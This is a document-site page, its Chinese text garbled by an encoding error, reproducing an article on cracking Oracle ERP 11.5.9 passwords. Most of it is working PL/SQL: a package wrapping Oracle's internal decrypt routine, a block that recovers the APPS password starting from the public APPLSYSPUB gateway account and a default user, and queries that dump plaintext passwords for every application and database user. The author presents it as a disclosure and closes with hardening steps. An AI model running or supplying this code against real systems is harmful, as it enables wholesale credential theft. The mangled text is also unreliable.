



下載本文檔
版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
1、破解Oracle ERP 密碼1.寫作目的12.利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源碼如下1(1).建立Package Header1(2).建立Package Body13.取得APPS密碼的步驟24.通過(guò)任何一個(gè)User name/password取得APPS密碼的方法25.通過(guò)FND_USER:ENCRYPTED_USER_PASSWORD取得明文密碼的方法36.通過(guò)上面建立的Package取得所有Oracle ERP Application User 密碼的方法37.通過(guò)上面建立的Package取得所有Oracle ERP
2、Database User密碼的方法38.刪除第一步建立的Package39.結(jié)論310.提高Oracle ERP的安全性411.此程序在Oracle ERP 11.5.9通過(guò)Toad測(cè)試通過(guò).41. 寫作目的在要不要寫出來(lái)讓大家知道這個(gè)問(wèn)題上想了很久, 但一想到遲早密碼破解的方法還是會(huì)被人知道的,與其讓少部分人知道,還不如讓大家都知道,事先好作防范. 公布密碼破解方法的目的還是想讓Oracle ERP做得更安全一點(diǎn),讓我們大家放心的去用,畢竟是幾千萬(wàn)的東西,現(xiàn)在的安全性顯然還達(dá)不到用戶的要求. 想借大家的力量給Oracle施加一點(diǎn)壓力,以將Oracle ERP的各個(gè)版本改得安全一點(diǎn).2. 利
3、用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源碼如下(1).建立Package HeaderCREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USERAS FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2) RETURN VARCHAR2;END CrackPwd;(2).建立Package BodyCREATE OR REPLACE PACKAGE BODY CrackPwdAS FUNCTION getpwd (orau
4、ser IN VARCHAR2, appuserpwd IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String'END CrackPwd;/3. 取得APPS密碼的步驟 假設(shè)現(xiàn)在什么Oracle erp權(quán)限都沒(méi)有,怎么去知道oracle erp databaes的權(quán)限呢? 我們知道Oracle erp提供了
5、一個(gè)database的公用賬戶(gateway user),此賬戶擁有database的最小權(quán)限,這個(gè)公用賬號(hào)是: APPLSYSPUB/PUB(oracle erp網(wǎng)頁(yè)中或URL中都有公開此賬戶),雖然此賬戶沒(méi)有什么權(quán)限,但卻有FND_USER_VIEW 的查詢權(quán)限,通過(guò)這個(gè)view可以看到erp中所有的user和其ENCRYPED_FOUNDATION_PASSWORD字段,問(wèn)題就出在這個(gè)view的ENCRYPED_FOUNDATION_PASSWORD字段上, ENCRYPED_FOUNDATION_PASSWORD這個(gè)字段是由APPS的密碼和用戶密碼一起通過(guò)加密算法得出的結(jié)果, 因此只
6、要知道Oracle ERP的解密算法就可以通過(guò)fnd_user中任何一個(gè)user的password反查apps的密碼.,而要知道fnd_user中任何一個(gè)user的密碼是太簡(jiǎn)單的事了,在erp安裝時(shí)就預(yù)設(shè)了很多賬戶,這些賬戶的user name和password都是一樣的,一般沒(méi)有人去改這些賬戶的密碼4. 通過(guò)任何一個(gè)User name/password取得APPS密碼的方法SET SERVEROUTPUT ONDECLARE guestUserPwd VARCHAR2(200); guestUserName VARCHAR2(100); guestFndPwd VARCHAR2(100);
7、guestEncFndPwd VARCHAR2(100); delim NUMBER;BEGIN guestUserPwd :='GUEST/ORACLE'-Can any user password IF guestUserPwd IS NULL THEN guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'); END IF; delim := INSTR(guestUserPwd,'/'); guestUserName := UPPER(SUBSTR(guestUserPwd,1,
8、delim-1); SELECT encrypted_foundation_password INTO guestEncFndPwd FROM fnd_user_view WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND (end_date IS NULL OR end_date > SYSDATE); guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd); IF NOT (guestFndPwd IS NULL) THEN DBMS_OUT
9、PUT.put_line(guestFndPwd); END IF; END;注: guestUserPwd :='GUEST/ORACLE'-Can any user password 上面這一行可以改成任何一個(gè)User的username/password,賬號(hào)和密碼之間用”/”隔開以上程序可以用toad執(zhí)行5. 通過(guò)FND_USER:ENCRYPTED_USER_PASSWORD取得明文密碼的方法SET SERVEROUT ONDECLARE v_encrypted_pwd VARCHAR2 (100); v_apps_pwd VARCHAR2 (100); v_user_
10、pwd VARCHAR (100);BEGIN v_encrypted_pwd :='ZGA05468EA2C7A00CE5D9ED6562B352364325D40A247D583C10B916D88062771250F4BE653891CA90671C74187B132118335'-get ENCRYPTED_USER_PASSWORD from fnd_user IF v_apps_pwd IS NULL THEN v_apps_pwd := 'APPS' END IF; v_user_pwd := crackpwd.getpwd (v_apps_pwd
11、, v_encrypted_pwd); DBMS_OUTPUT.put_line (v_user_pwd);END;6. 通過(guò)上面建立的Package取得所有Oracle ERP Application User 密碼的方法SELECT user_name,CrackPwd.getpwd('APPS',ENCRYPTED_USER_PASSWORD) pwd FROM APPS.fnd_user7. 通過(guò)上面建立的Package取得所有Oracle ERP Database User密碼的方法select fou.oracle_username,CrackPwd.getpwd(
12、'APPS',encrypted_oracle_password) pwd from APPS.fnd_oracle_userid fou8. 刪除第一步建立的Package DROP PACKAGE CrackPwd9. 結(jié)論1).只要知道fnd_user中任何一個(gè)人的密碼就可以反推APPS的密碼,即使將database中apps密碼改掉也可以反推.2).反過(guò)來(lái)只要知道了apps的密碼,fnd_user中所有user的密碼都可以反推3).以此類推,只要知道fnd_user中任何一個(gè)人的密碼就可以反推其它所有User的密碼.4).同理,oracle erp db user(table:fnd_oracle_userid)中密碼的加密算法同fnd_user,也就是說(shuō)只要知道了APPS的密碼,則db user的所有密碼都可以反推.10. 提高Oracle ERP的安全性(1).更改APPS的密碼(2).更改所有預(yù)先安裝的fnd_user中所有user的password(3).更改oracle erp database中的所有user(通過(guò)table:fnd_oracle_userid進(jìn)行查詢)的p
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 新解讀《CB-T 3859 - 1999錨鏈產(chǎn)品質(zhì)量評(píng)級(jí)》新解讀
- DBJ04-T489-2025 《智慧園林建設(shè)標(biāo)準(zhǔn)》
- 三級(jí)安全教育考試題
- AI技術(shù)服務(wù)合同
- 浙江省杭州市上城區(qū)2023-2024學(xué)年四年級(jí)下學(xué)期數(shù)學(xué)期末試卷(含答案)
- Brand KPIs for health insurance:State Farm in the United States-英文培訓(xùn)課件2025.4
- 初中英語(yǔ)八年級(jí)下冊(cè)統(tǒng)編教案 uunit1
- 初中英語(yǔ)七年級(jí)下冊(cè)統(tǒng)編教案 七下Unit6 Outdoor fun第3課時(shí)
- 從加強(qiáng)支部活動(dòng)方案
- 倉(cāng)儲(chǔ)超市開業(yè)活動(dòng)方案
- 2024年湖南省普通高中學(xué)業(yè)水平考試數(shù)學(xué)試卷及答案
- 0-3歲兒童中醫(yī)健康管理課件
- 蘇少版四年級(jí)美術(shù)全冊(cè)知識(shí)點(diǎn)歸納
- 程序的循環(huán)結(jié)構(gòu)課件高中信息技術(shù)必修計(jì)算與數(shù)據(jù)
- 地鐵線反恐安全培訓(xùn)內(nèi)容
- 廣東華泰紙業(yè)有限公司紗管原紙工藝設(shè)備技改項(xiàng)目環(huán)境影響報(bào)告書
- 紅皮病護(hù)理的課件
- SH-T-3503-2017-附錄A-交工技術(shù)文件通用表
- 完整CECAGC3-2010建設(shè)項(xiàng)目工程結(jié)算編審規(guī)程完整
- 招標(biāo)文件技術(shù)規(guī)范書
- 初中音樂(lè)-第五單元環(huán)球之旅(二)歐洲與大洋洲教學(xué)設(shè)計(jì)學(xué)情分析教材分析課后反思
評(píng)論
0/150
提交評(píng)論